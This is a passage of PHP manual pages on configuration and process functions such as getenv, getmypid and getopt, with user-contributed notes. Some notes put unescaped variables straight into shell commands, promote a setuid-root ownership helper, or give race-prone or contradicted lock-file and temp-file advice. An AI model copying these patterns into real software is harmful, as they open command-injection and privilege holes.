        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

== The following function will strip GPC-arrays for php 5.0.2 ==
<?php
function transcribe($aList, $aIsTopLevel = true) {
    $gpcList = array();
    $isMagic = get_magic_quotes_gpc();

    foreach ($aList as $key => $value) {
        if (is_array($value)) {
            $decodedKey = ($isMagic && !$aIsTopLevel)?stripslashes($key):$key;
            $decodedValue = transcribe($value, false);
        } else {
            $decodedKey = stripslashes($key);
            $decodedValue = ($isMagic)?stripslashes($value):$value;
        }
        $gpcList[$decodedKey] = $decodedValue;
    }
    return $gpcList;
}
?>

Usage:

<?php
$unstrippedGET = transcribe($_GET);
$unstrippedPOST = transcribe($_POST);
?>

Maybe someone is willing to test those combinations for other php-versions and with magic_quotes_sybase set to 'on' - let me know.
Sorry for this huge amount of text, but it's complete. I was unable to compress the decision table more than this.
eltehaem at poczta dot onet dot pl 26-Nov-2004 11:58
Please note, that when magic_quotes_gpc is set not only $_POST, $_GET, $_REQUEST, $_COOKIE arrays values are slashed. Actually every string value in $GLOBALS array is slashed, ie. $GLOBALS['_SERVER']['PATH_INFO'] (or $_SERVER['PATH_INFO']).


Gets the current active configuration setting of magic_quotes_runtime

  • « get_magic_quotes_gpc
  • get_required_files »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the current active configuration setting of magic_quotes_runtime

get_magic_quotes_runtime

(PHP 4, PHP 5)

get_magic_quotes_runtime — Gets the current active configuration setting of magic_quotes_runtime

Description

bool get_magic_quotes_runtime ( void )

Returns the current active configuration setting of magic_quotes_runtime.

Return Values

Returns 0 if magic_quotes_runtime is off, 1 otherwise. Or always returns FALSE as of PHP 5.4.0.

Changelog

Version | Description
5.4.0 | Always returns FALSE because the magic quotes feature was removed from PHP.

Examples

Example #1 get_magic_quotes_runtime() example

<?php
// Check if magic_quotes_runtime is active
if(get_magic_quotes_runtime())
{
    // Deactivate
    set_magic_quotes_runtime(false);
}
?>

See Also

  • get_magic_quotes_gpc() - Gets the current configuration setting of magic_quotes_gpc
  • set_magic_quotes_runtime() - Sets the current active configuration setting of magic_quotes_runtime

User Contributed Notes

dipshrestha AT mail 21-Aug-2009 03:28
To add to what "php at nospam-qualystem dot com" has mentioned.

Some Japanese Encoding System (shift-jis) encode characters like 予 with ASCII pairs "975C". (5C is ASCII for backslash)

Thus when reading those characters from files (saved as shift-jis) in system with magic_quotes_runtime enabled, the characeter is turned into 予\  (equivalent ASCII "975C5C")

Similarly,
予定　is turned into 予\定
php at nospam-qualystem dot com 09-Jan-2003 02:48
get_magic_quotes runtime and set_magic_quotes_runtime are useful when you want to read some data in a binary file using fread() and some bytes in such file may be interpreted as \ (backslash), " (double quotes), ' (simple quote) or any "special" character that has a meaning for string processing.


Alias of get_included_files

  • « get_magic_quotes_runtime
  • getenv »
  • PHP Manual
  • PHP Options/Info Functions
  • Alias of get_included_files

get_required_files

(PHP 4, PHP 5)

get_required_files — Alias of get_included_files()

Description

This function is an alias of: get_included_files().

User Contributed Notes

There are no user contributed notes for this page.


Gets the value of an environment variable

  • « get_required_files
  • getlastmod »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the value of an environment variable

getenv

(PHP 4, PHP 5)

getenv — Gets the value of an environment variable

Description

string getenv ( string $varname )

Gets the value of an environment variable.

You can see a list of all the environmental variables by using phpinfo(). Many of these variables are listed within » RFC 3875, specifically section 4.1, "Request Meta-Variables".

Parameters

varname

The variable name.

Return Values

Returns the value of the environment variable varname, or FALSE if the environment variable varname does not exist.

Examples

Example #1 getenv() Example

<?php
// Example use of getenv()
$ip = getenv('REMOTE_ADDR');

// Or simply use a Superglobal ($_SERVER or $_ENV)
$ip = $_SERVER['REMOTE_ADDR'];
?>

See Also

  • putenv() - Sets the value of an environment variable
  • apache_getenv() - Get an Apache subprocess_env variable
  • Superglobals

User Contributed Notes

php at keith tyler dot com 08-Feb-2012 09:51
All of the notes and examples so far have been strictly CGI.
It should not be understated the usefulness of getenv()/putenv() in CLI as well.

You can pass a number of variables to a CLI script via environment variables, either in Unix/Linux bash/sh with the "VAR='foo'; export $VAR" paradigm, or in Windows with the "set VAR='foo'" paradigm. (Csh users, you're on your own!) getenv("VAR") will retrieve that value from the environment.

We have a system by which we include a file full of putenv() statements storing configuration values that can apply to many different CLI PHP programs. But if we want to override these values, we can use the shell's (or calling application, such as ant) environment variable setting method to do so.

This saves us from having to manage an unmanageable amount of one-off configuration changes per execution via command line arguments; instead we just set the appropriate env var first.
eng.mrkto.com 29-Jul-2010 08:36
This function is useful (compared to $_SERVER, $_ENV) because it searches $varname key in those array case-insensitive manner.
For example on Windows $_SERVER['Path'] is like you see Capitalized, not 'PATH' as you expected.
So just: <?php getenv('path') ?>
chuck dot reeves at gmail dot com 06-May-2010 08:59
When writing CLI applications, not that any environment variables that are set in your web server config will not be passed through.  PHP will pass through system environment variables that are prefixed based off the safe_mode_allowed_env_vars directive in your php.ini
f dot hartmann2 at gmx dot net 23-Jul-2009 02:42
A function returning the remote adress of the visiting browser could look like this:

<?php
function getIPfromXForwarded() {
    $ipString=@getenv("HTTP_X_FORWARDED_FOR");
    $addr = explode(",",$ipString);
    return $addr[sizeof($addr)-1];
}
?>

Note that some adresses are followed by a whitespace and ip2long(getIPfromXForwarded()) would not return the expected result.

Make use of trim() in your scripts, either in the function itself, or the surrounding space of the caller.

Greetings
sam at sambarrow dot com 13-Mar-2008 02:32
SERVER_NAME is the name defined in the apache configuration.
HTTP_HOST is the host header sent by the client when using the more recent versions of the http protocol.
renko at <remove>virtual-life dot net 08-Nov-2004 03:40
The function 'getenv' does not work if your Server API is ASAPI (IIS).

So, try to don't use getenv('REMOTE_ADDR'), but $_SERVER["REMOTE_ADDR"].
kyong 04-Feb-2004 10:06
As you know, getenv('DOCUMENT_ROOT') is useful.
However, under CLI environment(I tend to do quick check
if it works or not), it doesn't work without modified php.ini
file. So I add "export DOCUMENT_ROOT=~" in my .bash_profile.
daman at SPAM_BlockERmralaska dot com 08-Sep-2002 03:37
Be careful using HTTP_X_FORWARDED_FOR in conditional statements collecting the IP address. Sometimes the user's LAN address will get forwarded, which of course is pretty worthless by itself.
john-php at pc dot xs4all dot nl 16-Aug-2000 03:56
Note that the X-Forwarded for header might contain multiple addresses, comma separated, if the request was forwarded through multiple proxies.

Finally, note that any user can add an X-Forwarded-For header themselves. The header is only good for traceback information, never for authentication. If you use it for traceback, just log the entire X-Forwarded-For header, along with the REMOTE_ADDR.


Gets time of last page modification

  • « getenv
  • getmygid »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets time of last page modification

getlastmod

(PHP 4, PHP 5)

getlastmod — Gets time of last page modification

Description

int getlastmod ( void )

Gets the time of the last modification of the main script of execution.

If you're interested in getting the last modification time of a different file, consider using filemtime().

Return Values

Returns the time of the last modification of the current page. The value returned is a Unix timestamp, suitable for feeding to date(). Returns FALSE on error.

Examples

Example #1 getlastmod() example

<?php
// outputs e.g. 'Last modified: March 04 1998 20:43:59.'
echo "Last modified: " . date ("F d Y H:i:s.", getlastmod());
?>

See Also

  • date() - Format a local time/date
  • getmyuid() - Gets PHP script owner's UID
  • getmygid() - Get PHP script owner's GID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getmypid() - Gets PHP's process ID
  • filemtime() - Gets file modification time

User Contributed Notes

Moro 30-Jun-2012 12:03
Return latest mod time of all included files:

<?php
function get_page_mod_time() {
    $incls = get_included_files();
    $incls = array_filter($incls, "is_file");
    $mod_times = array_map('filemtime', $incls);
    $mod_time = max($mod_times);

    return $mod_time;
}
?>
luca dot delpivo at gmail dot com 12-Mar-2012 04:52
With better words getlastmod() returning the last time the script in which it is being called was modified, it does not require or use a parameter.
erik dot stetina at gmail dot com 27-Sep-2011 12:47
function for displaying last modification time accross more direcotries. e.g. to display last modification date in "about" section of your web page

<?php
function array_prefix_values($prefix, $array)
{
  $callback = create_function('$s','return "'.$prefix.'".$s;');
  return array_map($callback,$array);
}

function get_last_update()
{
  if ( func_num_args() < 1 ) return 0;
  $dirs = func_get_args();
  $files = array();
  foreach ( $dirs as $dir )
  {
    $subfiles = scandir($dir);
    $subfiles = array_prefix_values($dir,$subfiles);
    $subfiles = array_filter($subfiles,"is_file");
    $files = array_merge($files,$subfiles);
  }
  $maxtimestamp = 0;
  $maxfilename = "";
  foreach ( $files as $file )
  {
    $timestamp = filemtime($file);
    if ( $timestamp > $maxtimestamp )
    {
      $maxtimestamp = $timestamp;
      $maxfilename = $file;
    }
  }
  return date("Ymd",$maxtimestamp)." ($maxfilename)";
}

print "last update: ".get_last_update("./lib/", "./css/", "./lang/");
?>

OUTPUT:
last update: 20110927 (./lang/sk.php)
Ant P. 24-Feb-2010 07:48
If you use register_shutdown_function() on certain SAPIs, various filesystem-related things inside the shutdown function might do unexpected things, one of which being this function can return false.

On the other hand getlastmod() apparently caches the return value, so if you use it at least once in normal code it should work for the remainder of the request.
rwruck 17-Oct-2004 03:28
DO NOT use this function unless you are absolutely sure both your Apache and PHP have been compiled with the same value for -DFILE_OFFSET_BITS.

If not, this function will return the access time (or maybe even garbage) instead of the modification time due do Apache and PHP using different versions of the stat structure.

This is true regardless of Apache and PHP version.

To be on the safe side, always use the workaround already posted below:
filemtime($_SERVER['SCRIPT_FILENAME'])
19-May-2004 01:36
Setting the 'Last-Modified' header:
<?php
setlocale(LC_TIME, "C");
$ft = filemtime ('referencefile');
$localt = mktime ();
$gmtt = gmmktime ();
$ft = $ft - $gmtt + $localt;
$modified = strftime ("%a, %d %b %Y %T GMT", $ft);
?>
timeflys at users dot sourceforget dot net 20-Mar-2003 10:28
I found issues using getlastmod() to test whether or not I was successful in setting the Last Modified date in the header. The code below shows the same Last Modified date before and after I set the Last-Modified header.

<?php
//True modified date
$modified = date ("F d Y H:i:s.", getlastmod());

//artificial modified date - sent to header
$last_modified = gmdate('D, d M Y H:i:s T', (time() - 43200));

//caching prevention
header("Last-Modified: $last_modified GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");  // HTTP/1.1
header("Cache-Control: post-check=0, pre-check=0", false);
    header("Pragma: no-cache");                          // HTTP/1.0

$getlast_modified = date ("F d Y H:i:s.", getlastmod());

print "True modified date(Before): $modified <p /> Date sent to header(After): $getlast_modified";
?>

I then used the PEAR, HTTP_Request class which worked, the Last-Modified date updates everytime it is requested, the desired effect.

<?php
require 'HTTP/Request.php';
$r = new HTTP_Request('http://www.sample.com/page.php');
$r->sendRequest();
$response_headers = $r->getResponseHeader();
print $response_headers["last-modified"];
?>


Get PHP script owner's GID

  • « getlastmod
  • getmyinode »
  • PHP Manual
  • PHP Options/Info Functions
  • Get PHP script owner's GID

getmygid

(PHP 4 >= 4.1.0, PHP 5)

getmygid — Get PHP script owner's GID

Description

int getmygid ( void )

Gets the group ID of the current script.

Return Values

Returns the group ID of the current script, or FALSE on error.

See Also

  • getmyuid() - Gets PHP script owner's UID
  • getmypid() - Gets PHP's process ID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

There are no user contributed notes for this page.


Gets the inode of the current script

  • « getmygid
  • getmypid »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets the inode of the current script

getmyinode

(PHP 4, PHP 5)

getmyinode — Gets the inode of the current script

Description

int getmyinode ( void )

Gets the inode of the current script.

Return Values

Returns the current script's inode as an integer, or FALSE on error.

See Also

  • getmygid() - Get PHP script owner's GID
  • getmyuid() - Gets PHP script owner's UID
  • getmypid() - Gets PHP's process ID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

There are no user contributed notes for this page.


Gets PHP's process ID

  • « getmyinode
  • getmyuid »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets PHP's process ID

getmypid

(PHP 4, PHP 5)

getmypid — Gets PHP's process ID

Description

int getmypid ( void )

Gets the current PHP process ID.

Return Values

Returns the current PHP process ID, or FALSE on error.

Notes

Warning

Process IDs are not unique, thus they are a weak entropy source. We recommend against relying on pids in security-dependent contexts.

See Also

  • getmygid() - Get PHP script owner's GID
  • getmyuid() - Gets PHP script owner's UID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

brospam at gmail dot com 23-Aug-2013 07:19
My lockfile system

<?php
function isLocked(){
    if(file_exists(LOCK_FILE)) {
        $lockingPID = trim(file_get_contents(LOCK_FILE));
        $test=trim(`ps -p $lockingPID -o pid=`);
        if(!empty($test)) return true;
        echo "Removing stale lock file.\n";
        unlink(LOCK_FILE);
    }
    file_put_contents(LOCK_FILE, getmypid()."\n");
    return false;
}
?>
Radu Cristescu 23-Jul-2013 03:44
The lock-file mechanism in Kevin Trass's note is incorrect because it is subject to race conditions.

For locks you need an atomic way of verifying if a lock file exists and creating it if it doesn't exist. Between file_exists and file_put_contents, another process could be faster than us to write the lock.

The only filesystem operation that matches the above requirements that I know of is symlink().

Thus, if you need a lock-file mechanism, here's the code. This won't work on a system without /proc (so there go Windows, BSD, OS X, and possibly others), but it can be adapted to work around that deficiency (say, by linking to your pid file like in my script, then operating through the symlink like in Kevin's solution).

#!/usr/bin/php
<?php

define('LOCK_FILE', "/var/run/" . basename($argv[0], ".php") . ".lock");

if (!tryLock())
    die("Already running.\n");

# remove the lock on exit (Control+C doesn't count as 'exit'?)
register_shutdown_function('unlink', LOCK_FILE);

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

exit(0);

function tryLock()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if (@symlink("/proc/" . getmypid(), LOCK_FILE) !== FALSE) # the @ in front of 'symlink' is to suppress the NOTICE you get if the LOCK_FILE exists
        return true;

    # link already exists
    # check if it's stale
    if (is_link(LOCK_FILE) && !is_dir(LOCK_FILE))
    {
        unlink(LOCK_FILE);
        # try to lock again
        return tryLock();
    }

    return false;
}
?>
eight_hf at live dot fr 07-Jul-2012 09:19
On Linux you can check if a process is still running by verifying if the PID exists in the /proc directory :

<?php
if(file_exists('/proc/'.$pid))
{
    echo 'The process is still running.';
}
?>
pdc at example dot com 29-Dec-2011 09:50
Here is how you'd use exec on a posix system to accomplish counting processes quickly.

I want to know how many processes are running with 'update.php' in the command:

ps aux|grep "[u]pdate.php"|wc -l

(the trick of using [u]pdate.php instead of update.php makes sure that the grep command itself is not matched).  Be sure to use quotes in the command, or it won't work either.

So, the code:

<?php
function countProcesses($scriptName)
{
    // ps aux|grep "[u]pdate.php"|wc -l
    $first    =    substr($scriptName, 0, 1);
    $rest    =    substr($scriptName, 1);

    $name    =    '"['.$first.']'.$rest.'"';
    $cmd    =    "ps aux | grep $name | wc -l";

    $result    =    exec($cmd);

    return $result;
}
?>
wouter99999 at gmail dot com 05-Jun-2011 12:03
On windows, ps is not available. Instead, to view a list of running processes, you can use exec('tasklist'); To kill processes you can use exec('taskkill); Enter taskkill /? for more information.
Robert Mays Jr 04-May-2011 06:39
All of the examples above require you to have shell command execution turned on- this example uses only PHP functions and should work on any system (posix is included by default)-

the key is posix_getsid which will return FALSE if the processes does not exist.

<?php
$lockfile = sys_get_temp_dir() . '/myScript.lock';
$pid = file_get_contents($lockfile);
if (posix_getsid($pid) === false) {
   print "process has died! restarting...\n";
   file_put_contents($lockfile, getmypid()); // create lockfile
} else {
   print "PID is still alive! can not run twice!\n";
   exit;
}
?>

:-) perfect if you need to make sure a cron job or shell script has ended before it can be started again.

This works across users- if the cron job is started as 'root' your 'web user' can see if the process is still alive (useful for system status pages)
gabe at fijiwebdesign dot com 02-Feb-2010 06:53
Based on what james at voodoo dot co dot uk said, but modified for CLI scripts (ie: there is no $_SERVER).

<?php

/**
 * Check for a current process by filename
 * @param $file[optional] Filename
 * @return Boolean
 */
function processExists($file = false) {

    $exists     = false;
    $file       = $file ? $file : __FILE__;

    // Check if file is in process list
    exec("ps -C $file -o pid=", $pids);
    if (count($pids) > 1) {
        $exists = true;
    }
    return $exists;
}

?>
james at voodoo dot co dot uk 25-Dec-2009 10:50
The 'ps' command has an option that can make filtering for a specific process more efficient.  Using this the work of looking for matching processes can be made neater:

<?php
    /*
    Return an array of the pids of the processes that are running for the specific command
    e.g.
        returnPids('myprocess.php');
    */
    function returnPids($command) {
        exec("ps -C $command -o pid=",$pids);
        foreach ($pids as $key=>$value) $pids[$key]=trim($value);
        return $pids;
    }

    /*
    Returns an array of the pids for processes that are like me, i.e. my program running
    */
    function returnMyPids() {
        return returnPids(basename($_SERVER["SCRIPT_NAME"]));
    }
?>

e.g. to bomb out if I'm running already

if (count(returnMyPids())>1) exit;
Erickson Reyes ercbluemonday at yahoo dot com 10-Nov-2009 02:01
We also had this challenge in our company to prevent a php script in a cron job from overlapping each other.

We made this solution

<?php
        // Initialize variables
    $found            = 0;
    $file                 = basename(__FILE__);
    $commands    = array();

        // Get running processes.
    exec("ps w", $commands);

        // If processes are found
    if (count($commands) > 0) {

        foreach ($commands as $command) {
            if (strpos($command, $file) === false) {
                               // Do nothin'
            }
            else {
                               // Let's count how many times the file is found.
                $found++;
            }
        }
    }

        // If the instance of the file is found more than once.
    if ($found > 1) {
        echo "Another process is running.\n";
        die();
    }

        /**
        *
        * Regular process here...
        *
        */
?>
Kevin Traas (ktraas- at -gmail dot com) 25-Sep-2009 10:51
Looking to create a lock-file mechanism for a cmd-line script?

Enjoy!

#!/usr/bin/php
<?php

define( 'LOCK_FILE', "/var/run/".basename( $argv[0], ".php" ).".lock" );
if( isLocked() ) die( "Already running.\n" );

# The rest of your script goes here....
echo "Hello world!\n";
sleep(30);

unlink( LOCK_FILE );
exit(0);

function isLocked()
{
    # If lock file exists, check if stale.  If exists and is not stale, return TRUE
    # Else, create lock file and return FALSE.

    if( file_exists( LOCK_FILE ) )
    {
        # check if it's stale
        $lockingPID = trim( file_get_contents( LOCK_FILE ) );

       # Get all active PIDs.
        $pids = explode( "\n", trim( `ps -e | awk '{print $1}'` ) );

        # If PID is still active, return true
        if( in_array( $lockingPID, $pids ) )  return true;

        # Lock-file is stale, so kill it.  Then move on to re-creating it.
        echo "Removing stale lock file.\n";
        unlink( LOCK_FILE );
    }

    file_put_contents( LOCK_FILE, getmypid() . "\n" );
    return false;

}
?>
kroczu at interia dot pl 19-Dec-2005 01:59
<?php
/*

mixed getpidinfo(mixed pid [, string system_ps_command_options])

this function gets PID-info from system ps command and return it in useful assoc-array,
or return false and trigger warning if PID doesn't exists

$pidifo=getpidinfo(12345);

print_r($pidifo);

Array
(
    [USER] => user
    [PID] => 12345
    [%CPU] => 0.0
    [%MEM] => 0.0
    [VSZ] => 1720
    [RSS] => 8
    [TT] => ??
    [STAT] => Is
    [STARTED] => 6:00PM
    [TIME] => 0:00.01
    [COMMAND] => php someproces.php > logfile
)

*/

//////////////////////////////////////////////

function getpidinfo($pid, $ps_opt="aux"){

   $ps=shell_exec("ps ".$ps_opt."p ".$pid);
   $ps=explode("\n", $ps);

   if(count($ps)<2){
      trigger_error("PID ".$pid." doesn't exists", E_USER_WARNING);
      return false;
   }

   foreach($ps as $key=>$val){
      $ps[$key]=explode(" ", ereg_replace(" +", " ", trim($ps[$key])));
   }

   foreach($ps[0] as $key=>$val){
      $pidinfo[$val] = $ps[1][$key];
      unset($ps[1][$key]);
   }

   if(is_array($ps[1])){
      $pidinfo[$val].=" ".implode(" ", $ps[1]);
   }
   return $pidinfo;
}

?>
Pure-PHP 21-Mar-2005 11:26
You can use this function also to avoid more than one instance of your app.

You can also use this class.
http://www.pure-php.de/node/20

Usage:

<?php

inlude("ProcessHandler.class.php");

if(ProcessHandler::isActive()){
   die("Already running!\n";);
}else{
   ProcessHandler::activate();
   //run my app
}

?>
brooke at jump dot net 25-Oct-2003 02:49
One good use for this is deciding on a concurrency-safe temporary file or directory name. You can be assured that no two processes on the same server have the same PID, so this is enough to avoid collisions. For example:

<?php
$tmpfile = "/tmp/foo_".getmypid();
// Use $tmpfile...
// Use $tmpfile...
// Use $tmpfile...
unlink ($tmpfile);
?>

If you are sharing /tmp over the network (which is odd....) then you can, of course, mix in the PHP server's IP address.


Gets PHP script owner's UID

  • « getmypid
  • getopt »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets PHP script owner's UID

getmyuid

(PHP 4, PHP 5)

getmyuid — Gets PHP script owner's UID

Description

int getmyuid ( void )

Gets the user ID of the current script.

Return Values

Returns the user ID of the current script, or FALSE on error.

See Also

  • getmygid() - Get PHP script owner's GID
  • getmypid() - Gets PHP's process ID
  • get_current_user() - Gets the name of the owner of the current PHP script
  • getmyinode() - Gets the inode of the current script
  • getlastmod() - Gets time of last page modification

User Contributed Notes

bozo_z_clown at yahoo dot com 20-Jun-2007 08:06
Note that this function really does what the description says, it returns the numeric user id of the user who *owns the file* containing the current script not the effective user id of user *running* the current script.  Most applications will want the latter which is provided by posix_getuid().
sRp at srparish dot net 04-Apr-2000 11:48
After running into this problem, i wrote a program which you can install as setuid root in you php safemode exec dir. (defined in php3.ini)  You then can do system() calls to this program to change the ownership of file, in a fassion such so that it shouldn't allow people to break the security of your box.  You can get the program at http://srparish.net/scripts/chuid-1.0.tar.gz


Gets options from the command line argument list

  • « getmyuid
  • getrusage »
  • PHP Manual
  • PHP Options/Info Functions
  • Gets options from the command line argument list

getopt

(PHP 4 >= 4.3.0, PHP 5)

getopt — Gets options from the command line argument list

Description

array getopt ( string $options [, array $longopts ] )

Parses options passed to the script.

Parameters

options
Each character in this string will be used as option characters and matched against options passed to the script starting with a single hyphen (-). For example, an option string "x" recognizes an option -x. Only a-z, A-Z and 0-9 are allowed.
longopts
An array of options. Each element in this array will be used as option strings and matched against options passed to the script starting with two hyphens (--). For example, an longopts element "opt" recognizes an option --opt.

The options parameter may contain the following elements:

  • Individual characters (do not accept values)
  • Characters followed by a colon (parameter requires value)
  • Characters followed by two colons (optional value)
Option values are the first argument after the string. It does not matter if a value has leading white space or not.

Note: Optional values do not accept " " (space) as a separator.

Note:

The format for the options and longopts is almost the same, the only difference is that longopts takes an array of options (where each element is the option) whereas options takes a string (where each character is the option).

Return Values

This function will return an array of option / argument pairs or FALSE on failure.

Note:

The parsing of options will end at the first non-option found, anything that follows is discarded.

Changelog

Version | Description
5.3.0 | Added support for "=" as argument/value separator.
5.3.0 | Added support for optional values (specified with "::").
5.3.0 | Parameter longopts is available on all systems.
5.3.0 | This function is no longer system dependent, and now works on Windows, too.

Examples

Example #1 getopt() example: The basics

<?php
// Script example.php
$options = getopt("f:hp:");
var_dump($options);
?>
shell> php example.php -fvalue -h

The above example will output:

array(2) {
  ["f"]=>
  string(5) "value"
  ["h"]=>
  bool(false)
}

Example #2 getopt() example: Introducing long options

<?php
// Script example.php
$shortopts  = "";
$shortopts .= "f:";  // Required value
$shortopts .= "v::"; // Optional value
$shortopts .= "abc"; // These options do not accept values

$longopts  = array(
    "required:",     // Required value
    "optional::",    // Optional value
    "option",        // No value
    "opt",           // No value
);
$options = getopt($shortopts, $longopts);
var_dump($options);
?>
shell> php example.php -f "value for f" -v -a --required value --optional="optional value" --option

The above example will output:

array(6) {
  ["f"]=>
  string(11) "value for f"
  ["v"]=>
  bool(false)
  ["a"]=>
  bool(false)
  ["required"]=>
  string(5) "value"
  ["optional"]=>
  string(14) "optional value"
  ["option"]=>
  bool(false)
}

Example #3 getopt() example: Passing multiple options as one

<?php
// Script example.php
$options = getopt("abc");
var_dump($options);
?>
shell> php example.php -aaac

The above example will output:

array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    bool(false)
    [1]=>
    bool(false)
    [2]=>
    bool(false)
  }
  ["c"]=>
  bool(false)
}

See Also

  • $argv

User Contributed Notes

Missingdoc 29-Oct-2014 06:47
Just because i found that on Google instead of on official PHP documentation:

The syntax of the longopts array is the following
"option" for an opt without argument
"option=" for an opt with a required argument
"option==" for an opt that may have an argument or not

So for example

$longopts = array("no_argument", "required_argument=", "optional_argument==");
takingsides at gmail dot com 10-Mar-2014 12:16
As already mentioned getopt() will stop parsing options upon the '--'.  Sometimes you will have options and arguments but the user may not always provide the explicit -- option.

Below is a quick way to collect options and arguments regardless of the -- consistently.

#!/usr/bin/php
<?php

$options = getopt('hl::m:v:a', [
    'help',
    'list::',
    'module:',
    'version:',
    'all',
]);

var_dump( $options );

$args = array_search('--', $argv);
$args = array_splice($argv, $args ? ++$args : (count($argv) - count($opt)));

var_dump( $args );
?>
ch1902 19-Aug-2013 12:37
Sometimes you will want to run a script from both the command line and as a web page, for example to debug with better output or a command line version that writes an image to the system but a web version that prints the image in the browser. You can use this function to get the same options whether passed as command line arguments or as $_REQUEST values.

<?php
/**
 * Get options from the command line or web request
 *
 * @param string $options
 * @param array $longopts
 * @return array
 */
function getoptreq ($options, $longopts)
{
   if (PHP_SAPI === 'cli' || empty($_SERVER['REMOTE_ADDR']))  // command line
   {
      return getopt($options, $longopts);
   }
   else if (isset($_REQUEST))  // web script
   {
      $found = array();

      $shortopts = preg_split('@([a-z0-9][:]{0,2})@i', $options, 0, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY);
      $opts = array_merge($shortopts, $longopts);

      foreach ($opts as $opt)
      {
         if (substr($opt, -2) === '::')  // optional
         {
            $key = substr($opt, 0, -2);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
            else if (isset($_REQUEST[$key]))
               $found[$key] = false;
         }
         else if (substr($opt, -1) === ':')  // required value
         {
            $key = substr($opt, 0, -1);

            if (isset($_REQUEST[$key]) && !empty($_REQUEST[$key]))
               $found[$key] = $_REQUEST[$key];
         }
         else if (ctype_alnum($opt))  // no value
         {
            if (isset($_REQUEST[$opt]))
               $found[$opt] = false;
         }
      }

      return $found;
   }

   return false;
}
?>

Example

<?php
// php script.php -a -c=XXX -e=YYY -f --two --four=ZZZ --five=5
// script.php?a&c=XXX&e=YYY&f&two&four=ZZZ&five=5

$opts = getoptreq('abc:d:e::f::', array('one', 'two', 'three:', 'four:', 'five::'));

var_dump($opts);

/**
array(7) {
  'a' => bool(false)
  'c' => string(3) "XXX"
  'e' => string(3) "YYY"
  'f' => bool(false)
  'two' => bool(false)
  'four' => string(3) "ZZZ"
  'five' => string(1) "5"
}
*/
?>
Anonymous 03-Feb-2011 01:33
getopt() only returns the options specified if they were listed in the options.

So you cant make a switch() use default: to complain of an unknown option. :(
mpartap at gmx dot net 24-Oct-2010 10:39
Here's another way of removing options found by getopt() from the argv[] array. It handles the different kind of parameters without eating chunks that do not belong to an --option. (-nr foo param1 param2 foo)
<?php
$parameters = array(
  'n' => 'noparam',
  'r:' => 'required:',
  'o::' => 'optional::',
);

$options = getopt(implode('', array_keys($parameters)), $parameters);
$pruneargv = array();
foreach ($options as $option => $value) {
  foreach ($argv as $key => $chunk) {
    $regex = '/^'. (isset($option[1]) ? '--' : '-') . $option . '/';
    if ($chunk == $value && $argv[$key-1][0] == '-' || preg_match($regex, $chunk)) {
      array_push($pruneargv, $key);
    }
  }
}
while ($key = array_pop($pruneargv)) unset($argv[$key]);
?>
geoff at gosquared dot com 08-May-2010 02:05
It seems under PHP 5.3.2, getopt() makes a script fail to load if called via HTTP without any conditions. You'll need something like if(isset($_SERVER['argc'])) $args = getopt(); to prevent that.
m at ttcarter dot com 15-Mar-2009 12:36
I wrote a library some time ago to counter some of the missing features of the rather limited 'getopt' function. The library as well documentation can be found on my website at http://hash-bang.net/2008/12/missing-php-functions-getopts/

It provides functionality for long switches (e.g. '--delete'), incrementing switches (e.g. '-v -v -v' or '-vvv' for very, very verbose), long values (e.g. '--exclude this.file') and lots more.
mbirth at webwriters dot de 24-May-2008 10:41
After getopt() of PHP5.3.0 (on Windows) ignored some parameters if there was a syntactical problem, I decided to code my own generic parameter parser.

<?php
    /**
     * Parses $GLOBALS['argv'] for parameters and assigns them to an array.
     *
     * Supports:
     * -e
     * -e <value>
     * --long-param
     * --long-param=<value>
     * --long-param <value>
     * <value>
     *
     * @param array $noopt List of parameters without values
     */
    function parseParameters($noopt = array()) {
        $result = array();
        $params = $GLOBALS['argv'];
        // could use getopt() here (since PHP 5.3.0), but it doesn't work relyingly
        reset($params);
        while (list($tmp, $p) = each($params)) {
            if ($p{0} == '-') {
                $pname = substr($p, 1);
                $value = true;
                if ($pname{0} == '-') {
                    // long-opt (--<param>)
                    $pname = substr($pname, 1);
                    if (strpos($p, '=') !== false) {
                        // value specified inline (--<param>=<value>)
                        list($pname, $value) = explode('=', substr($p, 2), 2);
                    }
                }
                // check if next parameter is a descriptor or a value
                $nextparm = current($params);
                if (!in_array($pname, $noopt) && $value === true && $nextparm !== false && $nextparm{0} != '-') list($tmp, $value) = each($params);
                $result[$pname] = $value;
            } else {
                // param doesn't belong to any option
                $result[] = $p;
            }
        }
        return $result;
    }
?>

A call like: php.exe -f test.php -- alfons -a 1 -b2 -c --d 2 --e=3=4 --f "alber t" hans wurst

and an in-program call parseParameters(array('f')); would yield in a resulting array:

Array
(
    [0] => alfons
    [a] => 1
    [b2] => 1
    [c] => 1
    [d] => 2
    [e] => 3=4
    [f] => 1
    [1] => alber t
    [2] => hans
    [3] => wurst
)

As you can see, values without an identifier are stored with numeric indexes. Existing identifiers without values get "true".
uberlinuxguy at tulg dot org 25-Apr-2008 10:26
One thing of important note would be that getopt() actually respects the '--' option to end an option list.  Thus given the code:

test.php:
<?php
    $options = getopt("m:g:h:");
    if (!is_array($options) ) {
        print "There was a problem reading in the options.\n\n";
        exit(1);
    }
    $errors = array();
    print_r($options);
?>

And running:

# ./test.php ./run_vfs  -h test1 -g test2 -m test3 -- this is a test -m green

Will return:

Array
(
    [h] => test1
    [g] => test2
    [m] => test3
)

